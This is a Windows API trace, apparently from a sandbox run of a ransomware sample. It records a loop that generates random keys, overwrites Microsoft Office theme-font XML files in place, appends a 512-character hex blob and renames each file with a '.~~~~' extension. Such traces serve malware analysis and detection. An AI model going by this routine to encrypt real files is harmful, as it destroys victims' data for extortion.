	[0123.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a38c20
	[0123.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a38c20 | out: hHeap=0x300000) returned 1
	[0123.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b60d0
	[0123.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b46a0
	[0123.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b60d0 | out: hHeap=0x300000) returned 1
	[0123.260] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.260] GetLastError () returned 0x0
	[0123.260] GetLastError () returned 0x0
	[0123.261] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.261] GetLastError () returned 0x0
	[0123.261] GetLastError () returned 0x0
	[0123.264] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff1a7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.265] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xe59, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x26dfec0*=0xe59, lpOverlapped=0x0) returned 1
	[0123.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.267] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.267] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.267] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.267] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.267] CloseHandle (hObject=0x138) returned 1
	[0123.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5dc0
	[0123.267] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml.~~~~")) returned 1
	[0123.269] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5dc0 | out: hHeap=0x300000) returned 1
	[0123.269] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0123.269] GetLastError () returned 0x0
	[0123.269] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0123.270] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0123.271] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0123.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0123.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0123.271] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24326103354) returned 1
	[0123.390] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb30540d0, dwHighDateTime=0x1d60e1e)) 
	[0123.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0123.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0123.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0123.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f720
	[0123.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.390] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f720 | out: hHeap=0x300000) returned 1
	[0123.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6a00
	[0123.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b46a0
	[0123.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6a00 | out: hHeap=0x300000) returned 1
	[0123.391] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.391] GetLastError () returned 0x0
	[0123.391] GetLastError () returned 0x0
	[0123.391] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.391] GetLastError () returned 0x0
	[0123.392] GetLastError () returned 0x0
	[0123.395] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff113, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.395] WriteFile (in: hFile=0x138, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xeed, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0xeed, lpOverlapped=0x0) returned 1
	[0123.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0123.398] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.398] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.398] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.398] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.398] CloseHandle (hObject=0x138) returned 1
	[0123.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f63b8
	[0123.399] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml.~~~~")) returned 1
	[0123.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f63b8 | out: hHeap=0x300000) returned 1
	[0123.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0123.451] GetLastError () returned 0x0
	[0123.452] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0123.453] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.453] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.453] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0123.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0123.453] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24344341276) returned 1
	[0123.453] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb30ec650, dwHighDateTime=0x1d60e1e)) 
	[0123.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0123.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0123.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0123.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f7c8
	[0123.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f7c8 | out: hHeap=0x300000) returned 1
	[0123.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6fe8
	[0123.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b46a0
	[0123.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6fe8 | out: hHeap=0x300000) returned 1
	[0123.455] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.455] GetLastError () returned 0x0
	[0123.455] GetLastError () returned 0x0
	[0123.455] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.455] GetLastError () returned 0x0
	[0123.456] GetLastError () returned 0x0
	[0123.465] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff1a6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.465] WriteFile (in: hFile=0x120, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xe5a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x26dfec0*=0xe5a, lpOverlapped=0x0) returned 1
	[0123.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.468] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.468] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.468] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.468] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.468] CloseHandle (hObject=0x120) returned 1
	[0123.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5c88
	[0123.469] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml.~~~~")) returned 1
	[0123.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5c88 | out: hHeap=0x300000) returned 1
	[0123.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0123.470] GetLastError () returned 0x0
	[0123.471] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0123.472] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.472] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0123.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0123.472] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24346241107) returned 1
	[0123.472] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb31127b0, dwHighDateTime=0x1d60e1e)) 
	[0123.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0123.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0123.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0123.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f838
	[0123.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f838 | out: hHeap=0x300000) returned 1
	[0123.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6e98
	[0123.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b46a0
	[0123.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6e98 | out: hHeap=0x300000) returned 1
	[0123.473] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.473] GetLastError () returned 0x0
	[0123.474] GetLastError () returned 0x0
	[0123.474] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.474] GetLastError () returned 0x0
	[0123.474] GetLastError () returned 0x0
	[0123.480] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff1d4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.481] WriteFile (in: hFile=0x120, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xe2c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x26dfec0*=0xe2c, lpOverlapped=0x0) returned 1
	[0123.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.482] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.482] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.483] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.483] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.483] CloseHandle (hObject=0x120) returned 1
	[0123.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5a28
	[0123.501] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml.~~~~")) returned 1
	[0123.503] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5a28 | out: hHeap=0x300000) returned 1
	[0123.503] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0123.503] GetLastError () returned 0x0
	[0123.504] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0123.505] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.505] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0123.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0123.505] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24349507891) returned 1
	[0123.505] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb315ea70, dwHighDateTime=0x1d60e1e)) 
	[0123.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0123.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0123.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0123.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f8e0
	[0123.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f8e0 | out: hHeap=0x300000) returned 1
	[0123.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b7138
	[0123.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b46a0
	[0123.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7138 | out: hHeap=0x300000) returned 1
	[0123.506] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.506] GetLastError () returned 0x0
	[0123.506] GetLastError () returned 0x0
	[0123.506] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.506] GetLastError () returned 0x0
	[0123.506] GetLastError () returned 0x0
	[0123.516] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff1e8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.516] WriteFile (in: hFile=0x120, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xe18, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0xe18, lpOverlapped=0x0) returned 1
	[0123.517] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0123.517] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.517] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.517] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.517] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.518] CloseHandle (hObject=0x120) returned 1
	[0123.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928780
	[0123.521] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml.~~~~")) returned 1
	[0123.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928780 | out: hHeap=0x300000) returned 1
	[0123.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0123.526] GetLastError () returned 0x0
	[0123.526] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x395410) returned 1
	[0123.527] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.527] CryptReleaseContext (hProv=0x395410, dwFlags=0x0) returned 1
	[0123.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0123.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0123.527] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24351731503) returned 1
